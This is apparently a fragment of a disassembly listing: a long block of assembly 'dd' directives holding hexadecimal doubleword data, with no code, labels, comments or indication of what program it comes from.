		dd 0EC3822E8h, 4534B03Fh, 18807358h, 0BBC9E1C3h, 0ECB1073Ch
		dd 45AB2E7h, 3A5CA231h,	68C60077h, 0AAE4943Eh, 397F3861h
		dd 918B8F3h, 5EA4033Bh,	2D600DCh, 889A030h, 2C7CA1A7h
		dd 6834FC12h, 74B8B4ADh, 1B0EDE04h, 5CB86ADDh, 236C2FD7h
		dd 0DF2100BEh, 0D39DBC82h, 0E812A8B6h, 45987C19h, 2CECB710h
		dd 58E4F979h, 0DC94BCh,	0E0954615h, 0BFC26D02h,	1497D209h
		dd 460D48Ch, 0E2EB9D83h, 0C4B24B24h, 0E33020F2h, 0C82F4ECAh
		dd 0CB136848h, 0AB7A77h, 0CD138C9Fh, 417DB55Ah,	25877201h
		dd 0FDB32E5h, 0DA94126Fh, 0DA21C0D8h, 913A54h, 4536E114h
		dd 1BAAD805h, 0A4B24F4Eh, 89F9C008h, 0E8D83Ch, 0A0CEC5FCh
		dd 0B75AF5D8h, 9CFB8092h, 3B39D70h, 5AAA3D0h, 701087FAh
		dd 9F7268BDh, 0BBCA6893h, 1FDC645Eh, 5E9C20Eh, 0B4A88F24h
		dd 6B000D60h, 76F1BA82h, 0CE5E06h, 74536C2Dh, 12C37A0Fh
		dd 106FBD17h, 72844A0h,	295279F9h, 0EA4D8388h, 0A21FBC1Ah
		dd 0C0905DF9h, 0D33D5CF9h, 612500ACh, 0C2CFC420h, 0C176049Eh
		dd 0B87E84FEh, 424383ECh, 0F738886Eh, 8D1B241Dh, 0F5163F5Ch
		dd 2030C7BEh, 0D1AB6A4Bh, 38C87F5Bh, 49414AD8h,	145267DCh
		dd 0C4FAC100h, 0F632530h, 52C900F9h, 4D366776h,	9E6B6DCAh
		dd 584F231h, 82D669EFh,	0DBE813FDh, 62858060h, 0B95C9C2h
		dd 116D43BEh, 0E4ADF105h, 919DA8FCh, 0A992AF9Ch, 0B020A67Ch
		dd 9AB85h, 62BB9566h, 0F51E6F05h, 689BE630h, 0A8F81DE9h
		dd 2DAB69C8h, 58E4F9D0h, 0C48A490Fh, 1C2078FCh,	612225EAh
		dd 6BA7E820h, 920B5C15h, 7AA6340Dh, 0E03C444Ch,	0D9271300h
		dd 3D444AF9h, 0AEC32730h, 9BB3E022h, 9B8020Eh, 0DE760173h
		dd 40452BC5h, 2CBCE8C2h, 8C2EECh, 978508D8h, 811DE7A5h
		dd 551C7E09h, 0D38C18Ah, 0EC4888CEh, 33F1B021h,	0E9001B18h
		dd 9D23D9BCh, 9FCDDE3Ch, 6FE204C9h, 2F23D03Eh, 0E02B1E0Eh
		dd 0F22819C9h, 570F04C4h, 0BCE54EA2h, 0A57F211Ch, 605188D3h
		dd 95F11830h, 0E87EFC92h, 4DB80C83h, 1CECE56Ch,	38CD2E8h
		dd 17DC889h, 61008DC0h,	0EAB42EABh, 6B9B4270h, 14F1E99Ah
		dd 0B1182C79h, 9411300h, 68181E78h, 0C018B7C5h,	129F88BAh
		dd 129CF8C8h, 8B9D9CF0h, 0C090C8D8h, 0B50BC31h,	6A69AB1Ch
		dd 4F2848A5h, 1DE820C5h, 84A4802Fh, 7E422004h, 1CF87906h
		dd 0E12FE8E0h, 60E83A8Ch, 5F99244h, 0EC452BACh,	4A20FC6Bh
		dd 90F200F2h, 1B2DA30h,	0ABFB57FEh, 0C169371Eh,	82AC5164h
		dd 0ECCBF6DEh, 8D1CCAE8h, 3FFC6F59h, 0C10B2F26h, 0E29C84h
		dd 8F32B870h, 0ECE6EA2Ah, 48EC495Ch, 37522DADh,	0E84700F0h
		dd 0BE350DAh, 2D8A9200h, 0D4F36ABAh, 90C1058Fh,	0F8040DEAh
		dd 0C7CC2590h, 60D4E464h, 0E2424994h, 9E230571h, 0AA5B6AC2h
		dd 182A028h, 2D98130Fh,	60B8FA8Dh, 61008C66h, 946EC787h
		dd 38B69652h, 3581D918h, 9E5E86AAh, 0BC8C7C05h,	48308C97h
		dd 601DAE79h, 58929Ch, 35C9422Ah, 0F88E86EDh, 13E77509h
		dd 5BE8F091h, 3A1885DDh, 9123F0h, 3FFC813Bh, 7B268E16h
		dd 0F4718C0h, 0A14FF640h, 0C1A02D01h, 6F4B80E1h, 0ACBCB416h
		dd 8CD0BCh, 5F7A52BEh, 0A3D19FBAh, 0E4CB634Ah, 0A2C0EEC8h
		dd 1FB0FC6h, 1AEBDBBh, 8176B5B8h, 263154A0h, 0C8CD331Fh
		dd 89DC823Bh, 0B6CB220h, 0D54A2D8Fh, 1C00B853h,	0EC9D54EDh
		dd 0B252549h, 22E4C0E5h, 87519F60h, 86A15305h, 0CB456F5h
		dd 0D7EC2035h, 0AFD89895h, 0F499C08Dh, 3365D12h, 0B87C0D00h
		dd 0CF8E408Fh, 9A9A5A4Ch, 0CE7088E0h, 5E58FF40h, 782D1082h
		dd 5804DB7Ch, 50041125h, 0BA43492h, 9649FC88h, 59465C28h
		dd 0C65E022Fh, 76DE251Fh, 9421C0D3h, 0A9D038DFh, 80FB07CEh
		dd 24346C4Bh, 0D2C0E8E7h, 0BFB29CE2h, 0A7F030h,	46EAFAE8h
		dd 0FC32C28Fh, 676AD806h, 95287A3Bh, 74E48045h,	5E423B60h
		dd 66DC6A0Eh, 0FFF284C0h, 95BC24ACh, 0E26008Ch,	4B054391h
		dd 0E62F6045h, 31ACC171h, 3B3BE9F1h, 12223ACh, 9C7A1864h
		dd 64823AECh, 3BE9008Ch, 0D27D22D9h, 0AFA9FA0Bh, 79EC5144h
		dd 9571822h, 6B48E468h,	10B47078h, 676905DCh, 40CFC032h
		dd 0B70C64B0h, 4301B960h, 35EC94F1h, 543A0674h,	0BEE804C0h
		dd 0BC4C018Ch, 3B8A9C69h, 30844191h, 0E0DA2AE2h, 0C089ABC4h
		dd 0F15614D3h, 0B0CDF005h, 54E83E44h, 8EC29917h, 0C1D2C8DCh
		dd 34EF2BB9h, 1C18C360h, 0D3F8E0DCh, 0AB29C0E3h, 7A8C5B0Bh
		dd 6B394417h, 0DF2F8E2h, 507830h, 3F393691h, 306299BCh
		dd 0E9FF6930h, 0B8904D7Fh, 527D4A98h, 0AC74BD4Ch, 3F8900D5h
		dd 0B34907CFh, 5C003DE5h, 71C08FADh, 580C2D5Eh,	1E9006Ch
		dd 0E79C5894h, 21641CF8h, 7E8ADD1Ch, 967AE881h,	2080FEC5h
		dd 0B43A9AEh, 6100B319h, 2693F157h, 0FA8DC7DDh,	48ED0387h
		dd 435829A7h, 4C443003h, 0ABB5EEh, 1C2D8E11h, 0BDD8263Fh
		dd 883AA977h, 21BA30BCh
		dd 0A01C0668h, 71232FDh, 4A77226Ch, 0B7756082h,	4E00AA4Bh
		dd 0A9B98A2Eh, 0E8F2255Eh, 34A7C59h, 7D9DC322h,	0A82E5CB4h
		dd 0EC0F9E43h, 8BE1A021h, 0C6E9D94Fh, 209DB408h, 0EC3A9905h
		dd 55A8365Bh, 6769C3Dh,	639B241Bh, 7E46500Fh, 4EC2502h
		dd 1CE922h, 0DBECED98h,	3E81A5FFh, 0D6674400h, 0E16220Bh
		dd 48A4A156h, 0F28CD0BCh, 80B85E21h, 40958C30h,	525417A7h
		dd 0EB239C4Ch, 301C2201h, 92182026h, 3F6B88h, 6F84271Ch
		dd 0C24CD77Dh, 79DEAD01h, 0A7AE1549h, 0C63E9840h, 0D1E4A89Ch
		dd 0C7391859h, 0F5E3114Fh, 71526800h, 0CCAB89C5h, 0E008CC9Dh
		dd 0ED008821h, 3F7A2B68h, 1136F9h, 0A977183Bh, 0AD8B2017h
		dd 0EF7DE474h, 617D5EF0h, 0F7741C7Ch, 0AE120E18h, 282A5780h
		dd 1E4B4A5h, 0DBBE40A6h, 483A59D2h, 6808F244h, 0C4ED7175h
		dd 0EA805EE1h, 8D48BC68h, 0DBB13FF2h, 6041A850h, 197258A4h
		dd 30E05ACDh, 81241501h, 2199A8F9h, 19CC1424h, 908E8A16h
		dd 0A081F66Ch, 4C8D29AFh, 58C3B8Ch, 715468F3h, 8A4828F5h
		dd 1368EB00h, 6BD6816Ah, 8227044Fh, 438B51F2h, 6A4BE0Eh
		dd 0E9299F70h, 350718B9h, 65258424h, 55CC9760h,	8E461257h
		dd 1414ECh, 401E923h, 3026321Ch, 6D889118h, 0D91C0E39h
		dd 24605A52h, 4B8353ACh, 3C81250h, 0DA39CE00h, 620C0657h
		dd 0B45112F4h, 925C40ADh, 0F88FCF8Ah, 0B046EB18h, 0F11436h
		dd 27177B66h, 550F402Ah, 8A30237Fh, 4350A09Ah, 0A552302Eh
		dd 6AFC2D8h, 50A84130h,	50FC58h, 3322F80Fh, 6B2D5CE8h
		dd 0AFE408C6h, 78D70F20h, 9600170Fh, 47D4F1Eh, 0E8E08448h
		dd 0A51D8CB1h, 2E41763Eh, 5425ACF2h, 0DAFECC50h, 3C91C0ABh
		dd 0A16CF4Eh, 9CB09363h, 484C3BFh, 1425449h, 0EDBC884Ah
		dd 1C20048Ch, 62D0263Eh, 56920B4h, 2A00BF1Ch, 65E71095h
		dd 25CA8A0h, 0C378775Fh, 8CB03CAFh, 0F23B0F76h,	0F022C622h
		dd 0F7EED00h, 6FAE2B7Ch, 389E1D03h, 0A12AC0B7h,	799CBA95h
		dd 0B9A25130h, 8A6D77h,	0F4F8FF73h, 5837610Bh, 0E05D0A31h
		dd 8052BDC8h, 0C1646DC2h, 0C5371072h, 17EAC025h, 0F018AC00h
		dd 5558B6D5h, 889D0056h, 4E6C603Fh, 0BC07B70Dh,	0AC3E8CE5h
		dd 23DFF527h, 3CD8D7A9h, 0F80EF30h, 35E491Ch, 561DF37Dh
		dd 0ED187CFBh, 1C081621h, 4970B91Ch, 0CE03C7C3h, 580CFFFAh
		dd 29E9D7A8h, 0CE60099h, 36D02A46h, 0F201527Bh,	4E348EC0h
		dd 2CF0C9CAh, 0BE5538ABh, 0B3D530E0h, 0E6000417h, 33CA1F12h
		dd 0C4137540h, 1C0602B8h, 0B80AEE4Eh, 18592031h, 11BABD42h
		dd 0B200B3D6h, 13B54030h, 0CC9D37D9h, 0F921D008h, 71B2AB00h
		dd 0F6B56E2Bh, 0D87918EAh, 9DCAB1E0h, 0CDF47500h, 0DBD01768h
		dd 54200C7Eh, 0B641DC5Eh, 2C18C274h, 78115C9Fh,	1698004Eh
		dd 0BAF96BE2h, 8CC33D9h, 279F2175h, 0BED49846h,	1E7A8900h
		dd 1BCB5E2Fh, 79E1D7B2h, 0EBEC62D0h, 75DA348h, 20E243BCh
		dd 5939E421h, 7AA649B8h, 7841948Ch, 2F22B28Eh, 1CAD40h
		dd 5EB2AAF8h, 0EEBB4C8Ch, 7124BA00h, 2C642FB3h,	5A8300FFh
		dd 0DD9D5DAh, 9801EC7Dh, 1BC67A5Eh, 4806F4E8h, 51C0BE79h
		dd 78017115h, 0AA550036h, 0FD5E7903h, 5C0E5B5Dh, 0C07B581Eh
		dd 4107D559h, 0F41C0F3h, 78B27A2Eh, 5CDB2106h, 69081970h
		dd 94822103h, 5440E97Ah, 88029A85h, 736876E0h, 50F4AA6Fh
		dd 0EC4674h, 0B2412940h, 0E4188A7Ah, 43DA3FD1h,	0B7FBC4Eh
		dd 0C5A785Eh, 0F16E18FBh, 0ADBEB450h, 7CAF4CF3h, 484C797Ah
		dd 0E793C10h, 68DB317Ah, 0CC6F959Fh, 300EC500h,	7921B4D6h
		dd 19C367F8h, 0A7DC39h,	0EA34F1E1h, 423BB318h, 2B5A4B3Eh
		dd 2D019006h, 1978B17Ah, 2F880518h, 0A120CE25h,	0A969A066h
		dd 78671D00h, 7FBD5449h, 1D1B7143h, 0C0FAEBA1h,	0B983C012h
		dd 4C12F4BEh, 1C08D4EFh, 0B2B6C245h, 26CDB041h,	1DD3221Ch
		dd 40B2AEFCh, 8370636Bh, 22004285h, 1916BB53h, 71BFBDh
		dd 84E8D9DAh, 2A0102Ah,	0EB071892h, 1D5BF654h, 93C56900h
		dd 8EC83EAEh, 6FFA5200h, 0B8620321h, 87FB421Ch,	0BF4ED403h
		dd 1914F0A6h, 7B63004Dh, 3FD6F392h, 0C00CC41h, 52B42173h
		dd 0A2A842h, 8EF858C7h,	0EA6953F2h, 0ED015A7Bh,	4542CB2h
		dd 34C011EFh, 0EB711D70h, 697900CBh, 0B3788DCh,	260F6A00h
		dd 8D0E2A72h, 41E007Ch,	0F9076397h, 6478F34Ch, 86299A00h
		dd 0BA321DFBh, 8121F2Bh, 0AA7546D1h, 4000598Fh,	0D5F5FFD3h
		dd 0E713D7h, 0D6C1A845h, 2E54CF8Eh, 0FB2F1600h,	6347F2CEh
		dd 38E51FBAh, 98AAC0D4h, 763056EEh, 64FD2300h, 7314324Fh
		dd 0ED2606C6h, 0D1CDC02Bh, 0E1E7C700h, 0D902A13Bh, 693F24F0h
		dd 43CA8008h, 0E4304220h, 0E5906F68h, 38A9540Ch, 64C0E83h
		dd 98FC6631h, 0DD3CC155h, 401EB479h, 0E880F88Ah, 6ED676A6h
		dd 93E77DBh, 0DEEB92BAh, 0F152A020h, 0D500E412h, 5D6DA83Ah
		dd 11BF25h, 67766114h, 0AF34C737h, 0BE033Ah, 1EC07108h
		dd 1295EFFh, 1790F74Ch,	0D453EA3Ah, 98C19BF1h, 1D5AE1A2h
		dd 0BBCDE0h, 0AF9A4549h, 81DA4663h, 8FACD200h, 0B62265E4h
		dd 35D100EAh, 99058374h, 6D006ED3h, 599DC427h, 87CE5Dh
		dd 0A984553h, 0FE0D7AF3h, 0E284770Eh, 67BB20B8h, 0ABE09Eh
		dd 0F6CE7850h, 0FACA6C82h, 0BADB4C00h, 0BE04A164h, 2F1207ABh
		dd 60EFEAAEh, 0D21B6230h, 0D5066500h, 2870E998h, 0F8777A48h
		dd 4E5C076Dh, 60B8FEFBh, 53AAF6E2h, 0BFB73100h,	427A548h
		dd 752A383Ah, 1C0265h, 5CC5D59h, 0EF1CBE9Ah, 3E407A6Fh
		dd 8179F8C1h, 0FFC30037h, 713B7B82h, 0C4003985h, 6C91D0FEh
		dd 9CC726h, 0A8C85359h,	0ED3562Eh, 0BD68D562h, 3812458h
		dd 0D8ECAA2Dh, 6733Fh, 0EE7E7CE7h, 0CA18C55Bh, 20E45E4h
		dd 8099D6D2h, 0BF387BAAh, 29A21EF9h, 50DEC090h,	0CE6BE511h
		dd 18A08D00h, 0B2EF44FCh, 0B5263A29h, 0C95EE380h, 0E019117Ch
		dd 3CB1DA00h, 0CCBA032Dh, 22662C6Eh, 0B9C00C94h, 6F06D93Ch
		dd 13BD1097h, 11222AEh,	6A6E5419h, 0E4405BDBh, 303EA1E0h
		dd 93DD899h, 0D5F4A932h, 2D71691Fh, 8500B6DEh, 0CD052582h
		dd 0FC0107FAh, 42FD6487h, 877F8BBEh, 0F9D3AD96h, 0B7E90067h
		dd 6596C906h, 8F18CC5Fh, 43BB683Eh, 2F4B61E6h, 0CC5E5610h
		dd 2500A1E7h, 0F6159344h, 0FE0C8A4Fh, 13E30045h, 2B89F267h
		dd 1F019D58h, 0AE8497Eh, 43D48EB1h, 8C4B00DCh, 50A8B3CCh
		dd 0FC00AA33h, 0E6F65BB6h, 0C00EF03Fh, 0EFAECAFBh, 600A7EBh
		dd 1D0C202Dh, 1F9B0D9Ah, 28A466h, 41689ECFh, 330329C8h
		dd 269CE5C6h, 52F0002Fh, 46A5E913h, 9AF6D215h, 0A4C5410Fh
		dd 0FBAFA003h, 5B483F9h, 34A52C7Fh, 2765C76h, 384AD1D7h
		dd 7F78E0C0h, 979D3900h, 3FE7293Ah, 0CD355491h,	791802D5h
		dd 1475D255h, 0C156C6A0h, 2C001F0Bh, 9ACD526Ah,	0FCF5E5Ah
		dd 92E93D8Eh, 182D2EC3h, 1D5D2C00h, 80A4AB29h, 0E7383081h
		dd 0A5211E19h, 69892430h, 372FAE5Eh, 2065C98Ah,	9EEDB129h
		dd 0C7E05D00h, 0DA4D61EEh, 0D2DD307Dh, 14B534FEh, 0DAA02328h
		dd 4885F200h, 4745B23Dh, 0F1E6015Bh, 9435B4ABh,	722580A3h
		dd 9699A405h, 9F2319D7h, 80B3100Ch, 0D815621Fh,	608EA60Fh
		dd 95D312A3h, 0A40355A1h, 0BB2063E6h, 69BCE0FFh, 54B700ECh
		dd 17C0C6E7h, 2303260Ah, 1CB5E586h, 49D09404h, 0A1545Ch
		dd 1E4B801Bh, 4D39238Fh
		dd 0A68A9700h, 7C6120A3h, 66D70336h, 0BF4BFC45h, 0CDBA0AB8h
		dd 181BC100h, 77D0577Bh, 0FEAF00F6h, 35502F01h,	93004D8Ah
		dd 0F2E8CC19h, 1E5FAEh,	3094B37Dh, 6D6ADFFBh, 73DC2F00h
		dd 3F120FEBh, 8C780022h, 4CF3B93Eh, 0CFFA6CCDh,	3AB8DC00h
		dd 1BAE7C4Dh, 0B0191998h, 0DC5619BFh, 0FC40F40h, 5C069C6h
		dd 5BA2E8h, 4CDFDD18h, 0BE0CF862h, 8079390Ch, 560B63Ah
		dd 8BEA3177h, 0B3EC4003h, 686E9DA7h, 96D92C01h,	81C05B61h
		dd 3457CCh, 25404E8Dh, 287341BAh, 6E2EA97Ah, 9B1C4B1Fh
		dd 9519C100h, 907CF76h,	55F27883h, 3B107BF5h, 4F06ED28h
		dd 0D082BA87h, 5B4F0214h, 58060424h, 0C781126h,	0FDBF5703h
		dd 0CA05E5F5h, 0BC747DF8h, 0E9FA54E4h, 5055C779h, 0DCF688Ch
		dd 5D5CA016h, 89070090h, 0A7F50869h, 3C5D73Ah, 884ED727h
		dd 0A08B5C32h, 0E57C7D53h, 6FE90054h, 74FFFC85h, 0FA631FB8h
		dd 0C8C503C0h, 1E3D97E0h, 409D5783h, 6B9B4E4Fh,	2D3D0416h
		dd 0C7E8007h, 0BD59A5ACh, 42C50960h, 0EB812F7Fh, 0DC394016h
		dd 0AE00AC17h, 0C5BFA14Bh, 7859256Dh, 0EF670062h, 0C18B75CFh
		dd 2105BD23h, 0EB05E20Ch, 572D501Ch, 0BD8B4010h, 91FDF4B5h
		dd 0FC09000Eh, 23CD6A9Ch, 0FEC00032h, 0DF188258h, 85188DA4h
		dd 60320E91h, 69B5188Bh, 0E88A0E29h, 0B1906126h, 6BCB4930h
		dd 3A20395Ch, 223CA187h, 1F0BF679h, 0A466A030h,	141E017Ch
		dd 0F621FB76h, 7DDE11Fh, 305E5F50h, 6C9255BEh, 0F5904127h
		dd 1C112017h, 6C8AEF96h, 1EB1BD01h, 3F6A05E2h, 16BC28A8h
		dd 2688038Ch, 0F0BF0FBCh, 6BBB424Fh, 197714A7h,	0FD0612AAh
		dd 0C9BF1116h, 0F18F01D1h, 83A88B15h, 6E6D75C0h, 9EFAA4C0h
		dd 545A310Fh, 11099FCh,	0F1E16650h, 0BD6BBC25h,	0FBAC59h
		dd 1C05081Eh, 66CED5D2h, 0F78A7150h, 54F28B34h,	1923DB3Ah
		dd 63052900h, 0DA39C03h, 1C01B523h, 52B0B0B4h, 0B58DBD89h
		dd 2D9411FCh, 6EAA5BE8h, 0AE4F0008h, 0A2AF6B2Ch, 7BA6E2C9h
		dd 49EE03BEh, 809D8D63h, 0FACF1395h, 97C0CFDAh,	0D5C25EDCh
		dd 89F38B03h, 2424FD8Dh, 0DE6BD3BBh, 5748EF02h,	0E0E7DA3Bh
		dd 0E82943B0h, 59046FD9h, 8923145Eh, 8C18F8h, 87101576h
		dd 0EAE9FCFEh, 0FF1C0869h, 1049C96Ch, 0A27E535Bh, 0A8B301Dh
		dd 866A0700h, 986956A0h, 0DE81031Eh, 7310C2F9h,	1861C7B4h
		dd 507D008h, 0D06F860Fh, 0C0D781CCh, 425C2601h,	9F99D8Bh
		dd 0B5892C83h, 0C13061Dh, 0C5FEE381h, 0A7A6BBE1h, 7A1D07B0h
		dd 0AB70E02h, 0A0FDB52Bh, 0BF08BB2h, 850F16DBh,	0ECCEBA97h
		dd 0EAC017C8h, 16A87175h, 58E9BD83h, 4C84EA15h,	0F418DCB5h
		dd 0CBB78500h, 0CFFFD56Dh, 0AF795BE9h, 4B2BB861h, 0A2A7C0h
		dd 3AD26B51h, 6E6FF76h,	8C1CEFE4h, 0C94F0411h, 0FA3338E9h
		dd 0C78D3AA9h, 5174D04Ch, 13295985h, 0BDBF6603h, 81A86039h
		dd 0B40769CEh, 207FDBBh, 0A5BB6165h, 6B1F0960h,	1BF8E7ACh
		dd 3877C8Ch, 92A92901h,	84188F99h, 0DD089F65h, 0F8D4811h
		dd 0CADABBD6h, 788852C0h, 6D0385E8h, 3E0423DFh,	0FEFFA181h
		dd 2B6B9DCBh, 7DC86C00h, 0BFCA8D2Ah, 718B7218h,	0E89DE9B4h
		dd 0EEDB4F8Ch, 938846Bh, 4A35BC8Bh, 0FBCDD106h,	99A7EB5h
		dd 4FFF8084h, 0DF5040BCh, 0A6587CECh, 1CD51051h, 9D896005h
		dd 0FF5894B9h, 0EC2BE4h, 2379AA48h, 4B01933Eh, 1E6E7600h
		dd 0D2965205h, 29E09861h, 0F1CF1621h, 18931817h, 0EE33791Ah
		dd 0E0830829h, 2C170BBFh, 8B71371Ch, 0E6778A0Fh, 48E93E86h
		dd 966FBEDAh, 3CD48800h, 21619529h, 0ED6BB081h,	3AB3B80Fh
		dd 0BF80F8C9h, 47629A02h, 7052E65Fh, 301DE227h,	0C40EE7F3h
		dd 42A665D7h, 0C0B981CFh, 59E4FFCCh, 47BC0A71h,	0C4740D0Bh
		dd 0F5360202h, 290E0B2Ah, 0F042428h, 0FC83D8B6h, 0BA36F1DFh
		dd 8F671C35h, 880884A1h, 21BFD60h, 0F4E78060h, 1F91FFC0h
		dd 0B8B6180h, 4E8C1C3h,	51804437h, 84AFBDBCh, 0B71209C4h
		dd 0E8FD85FEh, 0A54A99Bh, 3A114A9Dh, 0F76605D2h, 0C0269BE2h
		dd 7AF66191h, 56FC4829h, 1601B910h, 0DAFBD82Bh,	0F9D7C050h
		dd 1729C187h, 4207969h,	0CC0488BFh, 0E00EFAC6h,	5D5E5093h
		dd 0DD20A728h, 0B5FF2C1Dh, 31B749B0h, 8C72A680h, 0A55662Ah
		dd 3D858969h, 20EAA8CBh, 0BF030AB9h, 77826F7Fh,	0A6BE85B0h
		dd 598BB28Ch, 5E460050h, 5C6AC584h, 0A1917103h,	9AF5395Fh
		dd 0C499472Dh, 0A0866214h, 0CBFB1031h, 0D59D0081h, 47733F2Fh
		dd 537BAF02h, 4A69FE9Fh, 38BF0EA6h, 3C461121h, 1E83FC61h
		dd 6EE10270h, 31ACB5EDh, 879EC200h, 26BAC4ECh, 85AB92F8h
		dd 601CC427h, 0A02F70h,	9AFDC6D9h, 3DBE5872h, 1A5F3AC9h
		dd 0C06CEDCFh, 0BADCD3B3h, 8BF88E1Eh, 0AB35FF2Dh, 801AA881h
		dd 0F7702BEFh, 0E7A0820Bh, 1376BE66h, 2313B992h, 3D85B1B5h
		dd 0AC5A9811h, 0E76C0002h, 0B70FD577h, 585BF9FAh, 15C6BEBh
		dd 4148A94Fh, 0AB20A85Bh, 4E2C5105h, 11B1241h, 95E4FF04h
		dd 319F76AEh, 3D30F1D9h, 0B95E0024h, 3023D607h,	8E58AAB4h
		dd 0CFE49B07h, 3102C183h, 4CD8D78Dh, 0FD93B12h,	532F591Ah
		dd 46967022h, 6A61BD1Dh, 4515ADC0h, 41F18509h, 0D940600Fh
		dd 0E902B998h, 0C1B501ABh, 8054280Ah, 71D7206Fh, 0F62E0F1Ah
		dd 7FAD30C1h, 0DEC5470Ah, 368E6D4Ch, 200C6F89h,	15B32D79h
		dd 0A58D8904h, 815BA0D0h, 8AF302CFh, 0C32B49FEh, 0A2702453h
		dd 8702002Fh, 90B1D280h, 84B343Dh, 2D2B3C4Ch, 2CE934FCh
		dd 0E09BB60Dh, 15F351Bh, 19C4E16Dh, 6E7E474Fh, 0AA1272B9h
		dd 56A81EDEh, 0C2DABFD8h, 2EA1DEC0h, 0C5056EFFh, 803D51BCh
		dd 2BD5A404h, 5D85C701h, 0D993000Bh, 351952C1h,	403014E2h
		dd 48A6B860h, 680CD7CFh, 0E8CA613Dh, 6E290F60h,	0EB91CDAh
		dd 0FA1377B5h, 0CB20CF4Eh, 0FAE1265h, 2B028030h, 965F6160h
		dd 538570FBh, 289B0AD3h, 6A82C2C0h, 4A0456F3h, 1A8D9589h
		dd 9A85FF05h, 0C0198882h, 4170028Eh, 0BF483301h, 6A3AD272h
		dd 6004AE66h, 0A17D8D8Bh, 32CA308Dh, 9261A82Ch,	634D75CBh
		dd 208ECF61h, 12C61B20h, 3A90B7F3h, 0A1523B9h, 15E322ECh
		dd 38AC20F8h, 0BD1468B8h, 18721E71h, 0D69AC707h, 29374E9h
		dd 37A1B5EEh, 0BE605326h, 29155FFFh, 1293F195h,	0FF9BFB8Bh
		dd 42DD6D83h, 0B3410AECh, 26798EB1h, 0AAF0D517h, 0D1B0FAB6h
		dd 0BE02FFFEh, 850F9A26h, 0C7502408h, 0A118440h, 4674E05Eh
		dd 0F6D30217h, 40515C34h, 0D60A2D4Ah, 0D8DB024Fh, 52D530D2h
		dd 6A9E0076h, 2303F887h, 7600DAC8h, 0DFB8A45Fh,	0BD7484h
		dd 9665657h, 0FFF729E9h, 0F3F89EE3h, 0E7B9A02Dh, 748A71h
		dd 0B890376Bh, 8BCF4ABBh, 0A2BCC153h, 0B9433114h, 50520B6h
		dd 0BDC9D6BEh, 5B37E353h, 0AA980720h, 0A6DD00A9h, 798D73EDh
		dd 0B51A31CCh, 2F71411h, 22AC5E0h, 5B8012E8h, 8CBE252Eh
		dd 10013600h, 0ACD05A53h, 14657C74h, 9375CA23h,	5A2E42C0h
		dd 9600952Dh, 57558C73h, 7679CEBEh, 0B8878CFh, 5F9B9C5Bh
		dd 0F80065C6h, 2F58F681h, 2D901E07h, 8F8F5250h,	310F5FA1h
		dd 0BED9FF5Ah, 564AF87Fh, 0F5AE9064h, 6E4A5BE2h, 286A00D4h
		dd 0D772FDDh, 89361BA4h, 9E094AADh, 26E60771h, 2F6B2966h
		dd 60B5E53h, 0D350B341h, 0B0B724C5h, 0D71C8174h, 3E58AC1Dh
		dd 0BC8C0F4Ch, 2619622Ah, 82035B87h, 0A4DB185Dh, 6FA4EDA0h
		dd 7FEB81B4h, 66E0C367h
		dd 1853A7D7h, 0A0BB0C03h, 0E9313B74h, 1C89DC72h, 0ED38196h
		dd 0E6455680h, 5D63B70Ah, 2F2DA87Fh, 7DDE99E3h,	38961802h
		dd 0F73E6160h, 0B6716270h, 527B716Bh, 45C389BCh, 468F16A4h
		dd 0C8C49C22h, 8D1D1439h, 7AD5DD9Dh, 9BAC3FA9h,	9239302Dh
		dd 7A7BD55Eh, 0B658D870h, 0EBC79652h, 17C8168Eh, 0A9E6E8C0h
		dd 35E8C4A1h, 89F3C808h, 0B501305h, 28D09DB5h, 16BD835Fh
		dd 0D2E60620h, 7BF52864h, 2009D10Fh, 1C02C1B8h,	0E9B8010Eh
		dd 2021D981h, 353CFB35h, 58C18F8h, 0E56CC8F5h, 0D75A805Eh
		dd 0E92FA3A5h, 0E9BD5D4Dh, 0CD110700h, 984F9AD8h, 800AFE17h
		dd 2F0AEF81h, 6112C868h, 0BA5A114Eh, 7C92DC54h,	0F9EA2301h
		dd 5BF2861Ch, 0E35E0DCh, 83FE8D16h, 0EBDD9D67h,	0E0F54D57h
		dd 0E3458F0h, 8B1B0902h, 82339578h, 52AB9F3h, 0A15EC429h
		dd 0CA79683Ch, 0B70453E8h, 0C0EB8F48h, 3502C548h, 5FB33003h
		dd 0F8BE9E5Bh, 998A0F3Ah, 87283B41h, 165F5B75h,	0BC9AFA73h
		dd 8D0199C1h, 52FF96A5h, 1E91C91Ch, 7777225Ah, 0D015F3DDh
		dd 0BC5AD393h, 470D6A05h, 6A4B57B7h, 733E1Dh, 349CE675h
		dd 40AD8589h, 60E25007h, 0AB00ACA6h, 0B12FE754h, 729C552Bh
		dd 7805038Dh, 0CC93BB7Fh, 61605AC8h, 0FD9A5FE2h, 19F94EC4h
		dd 0AB2DE907h, 0E07E6D7Fh, 0B7498BAAh, 587F5F12h, 93E9600Bh
		dd 0D021B2AEh, 0B7B07022h, 0E1D6CDF4h, 34EAC5F4h, 0A45C3AABh
		dd 4700F218h, 0F92E132Bh, 7DB8E98h, 91E844CCh, 70E692FAh
		dd 8870BED3h, 0E54312D3h, 9D15028Bh, 0E4022341h, 27BF571h
		dd 4630858h, 845A1F54h,	3833A101h, 0B6E4BD6h, 0E7FF7D00h
		dd 7430A050h, 43A2D909h, 1D3E4F9h, 32A66EBFh, 6BC38B10h
		dd 0A6ACF5A9h, 43232C07h, 0BF3039B5h, 4FD8B175h, 29B9021Fh
		dd 0EF5CA585h, 313D8D41h, 2586C104h, 78610208h,	6974B5C9h
		dd 0C2AECD80h, 6E7F85h,	4467CA45h, 0FE8BEC25h, 0D82B5E00h
		dd 69E0EE81h, 50272713h, 0BAD01A03h, 4CE46CD0h,	2F03615Ch
		dd 14D3724h, 0F91B2736h, 37F96A03h, 0D392EB00h,	46120D6Dh
		dd 69DB7100h, 0CCDC2D2Bh, 85069797h, 5F5BED4Dh,	64F68674h
		dd 35060A0h, 21C83B5Ch,	0E9850506h, 3889B719h, 0ED6E4EB0h
		dd 27265500h, 36162C4Bh, 57A75B0Bh, 0BF6B8060h,	629D09DBh
		dd 31616595h, 0C83B9D79h, 10F7589Dh, 7C500941h,	3FF60581h
		dd 0B476AA6Ch, 9E86125Fh, 7E00D42Ah, 11633322h,	51FFEF1h
		dd 0D99D3144h, 5110F318h, 9F6C450Ch, 6AF0800Bh,	178988D9h
		dd 4CE791Fh, 1317C142h,	0EDBD9F80h, 6A28B632h, 7713915Bh
		dd 0B3889307h, 9EE06597h, 0A037C643h, 1EBBA296h, 448C6E94h
